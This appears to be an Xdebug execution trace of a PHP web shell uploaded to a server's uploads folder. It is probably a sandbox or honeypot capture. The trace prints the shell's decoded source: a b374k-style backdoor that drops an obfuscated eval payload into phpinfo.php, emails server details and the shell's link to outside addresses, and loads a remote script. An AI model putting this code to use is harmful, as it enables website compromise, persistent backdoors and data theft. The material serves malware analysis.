hideAll();</script>";\r\ndie();\r\n\t\t\r\n\t\t}\r\n\r\n?><center><br><br><div class="info">-=[ b374k r3c0ded by <b>X\'1N73CT</b> ]=-</div><br>\r\n<div class="jaya">&copy; 2013 X\'1N73CT</div></center><br><br>\r\n</script>\r\n</div>\r\n<?php\r\n\r\n$ikrhtfy = $_SERVER["DOCUMENT_ROOT"].\'/\'.\'phpinfo.php\';\r\n\r\n\r\n$fghky_ouvcbt = \'<?php phpinfo();\r\n\r\n\r\n$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";\r\n$gzinflate = "=kNpMtH71+ljPksZMcCcwcK+3fDlWgk7NrBwORQ/WY/zBOoBN4X5VZLsGffsu1D7GtfN+HA/jfc4llGsPjjJ9bYdzfpXuEKc5lgWShDAjYIIyjLEB6sJ7xwmW/t3sAjUdNhc365UYm35GrrxT/tH/rnbb1CtIqbEcyy3idRJJkv+7+nmXjdVY/WLfqnB02J4O1fe/7lAU0MajUGZSsHwKqhmHzv900i0h3YtoOCJcosuAHEtpAimJmdmoFCB2NZlgqVobRLXemwlekB8PSBazZLFbIHPfRsqapn5Z2WFCGLcWb5Ls9hJahXA7YV+RHfRiYvgTQpUFHyk8tcxG2ovhQOTquhQ66yaMV9H6FEhemC6vu7woIlYFCFlmOADdmcnyI39588cbGYIw42qSs//TI4HhYD0z0ItUW6T0Zs4GozL1SjnL3tNWA5gc9D9v0HFwI8adFVbcin/sGwUBwJe+HaAeFg/cGwYB4/lBgWA";\r\neval(htmlspecialchars_decode(urldecode(base64_decode($gz))));\r\n\r\n?>\'; \r\n\r\n\r\n\r\nif (!file_exists($ikrhtfy)){  \r\n   \r\ntouch($ikrhtfy); \r\nchmod($ikrhtfy,0666); \r\n   \r\n} \r\n\r\n$opazxcdnm = fopen($ikrhtfy,"w"); \r\n\r\nif (!fwrite($opazxcdnm,$fghky_ouvcbt)){ \r\n\r\nexit; \r\n\r\n}\r\n\r\n$b = "Soldier\'ss";\r\n$c = "Dosya Yolu : " . $_SERVER[\'DOCUMENT_ROOT\'] . "\r\n";\r\n$c.= "Server Admin : " . $_SERVER[\'SERVER_ADMIN\'] . "\r\n";\r\n$c.= "Server isletim sistemi : " . $_SERVER[\'SERVER_SOFTWARE\'] . "\r\n";\r\n$c.= "Shell Link : http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'PHP_SELF\'] . "\r\n";\r\n$c.= "Avlanan Site : " . $_SERVER[\'HTTP_HOST\'] . "\r\n";\r\nmail("hacklinksatis@gmail.com", $b, $c);\r\nmail("burdayimreis@gmail.com", $b, $c);\r\necho "<SCRIPT SRC=http://teledramasinhala.com/img/icons/image.js></SCRIPT>";\r\n?>\r\n</body>\r\n</html>\r\n'	/var/www/html/uploads/teeest.php(4) : eval()'d code	1	0
3		A						/var/www/html/uploads/teeest.php(4) : eval()'d code(1) : eval()'d code	4	$auth_pass = '9c80a1eaca699e2fc6b994721f8703bc'
3		A						/var/www/html/uploads/teeest.php(4) : eval()'d code(1) : eval()'d code	5	$color = '#00ff00'
3		A						/var/www/html/uploads/teeest.php(4) : eval()'d code(1) : eval()'d code	6	$default_action = 'FilesMan'
4	16	0	0.037192	1962256	define	0		/var/www/html/uploads/teeest.php(4) : eval()'d code(1) : eval()'d code	7	2	'SELF_PATH'	'/var/www/html/uploads/teeest.php(4) : eval()\'d code(1) : eval()\'d code'
4	16	1	0.037214	1962360
4	16	R			TRUE
4	17	0	0.037230	1962288	strpos	0		/var/www/html/uploads/teeest.php(4) : eval()'d code(1) : eval()'d code	8	2	'python-requests/2.25.1'	'Google'
4	17	1	0.037247	1962360
4	17	R			FALSE
4	18	0	0.037262	1962288	session_start	0		/var/www/html/uploads/teeest.php(4) : eval()'d code(1) : eval()'d code	12	0
4	18	1	0.037341	1963040
4	18	R			TRUE
4	19	0	0.037356	1963040	error_reporting	0		/var/www/html/uploads/teeest.php(4) : eval()'d code(1) : eval()'d code	13	1	0
4	19	1	0.037371	1963080
4	19	R			0
4	20	0	0.037385	1963040	ini_set	0		/var/www/html/uploads/teeest.php(4) : eval()'d code(1) : eval()'d code	14	2	'error_log'	NULL
4	20	1	0.037403	1963112
4	20	R			''
4	21	0	0.037416	1963040	ini_set	0		/var/www/html/uploads/teeest.php(4) : eval()'d code(1) : eval()'d code	15	2	'log_errors'	0
4	21	1	0.037431	1963112
4	21	R			'1'
4	22	0	0.037444	1963040	ini_set	0		/var/www/html/uploads/teeest.php(4) : eval()'d code(1) : eval()'d code	16	2	'max_execution_time'	0
4	22	1	0.037461	1963144
4	22	R			'30'
4	23	0	0.037474	1963040	ini_set	0		/var/www/html/uploads/teeest.php(4) : eval()'d code(1) : eval()'d code	17	2	'output_buffering'	0
4	23	1	0.037489	1963112
4	23	R			FALSE
4	24	0	0.037502	1963040	ini_set	0		/var/www/html/uploads/teeest.php(4) : eval()'d code(1) : eval()'d code	18	2	'display_errors'	0
4	24	1	0.037516	1963112
4	24	R			''
4	25	0	0.037529	1963040	set_time_limit	0		/var/www/html/uploads/teeest.php(4) : eval()'d code(1) : eval()'d code	19	1	0
4	25	1	0.037544	1963104
4	25	R			FALSE
3	15	1	0.037579	1964536
2	7	1	0.037647	1188216
1	3	1	0.037655	1185720
1	26	0	0.037663	1185752	Error->__toString	0		Unknown	0	0
2	27	0	0.037676	1185832	Error->getTraceAsString	0		Unknown	0	0
2	27	1	0.037689	1186088
2	27	R			'#0 /var/www/html/uploads/teeest.php(4) : eval()\'d code(1): eval()\n#1 /var/www/html/uploads/teeest.php(4): eval()\n#2 {main}'
1	26	1	0.037709	1190224
1	26	R			'Error: Call to undefined function set_magic_quotes_runtime() in /var/www/html/uploads/teeest.php(4) : eval()\'d code(1) : eval()\'d code:20\nStack trace:\n#0 /var/www/html/uploads/teeest.php(4) : eval()\'d code(1): eval()\n#1 /var/www/html/uploads/teeest.php(4): eval()\n#2 {main}'
			0.037765	1110848
TRACE END   [2023-02-12 21:18:45.961119]

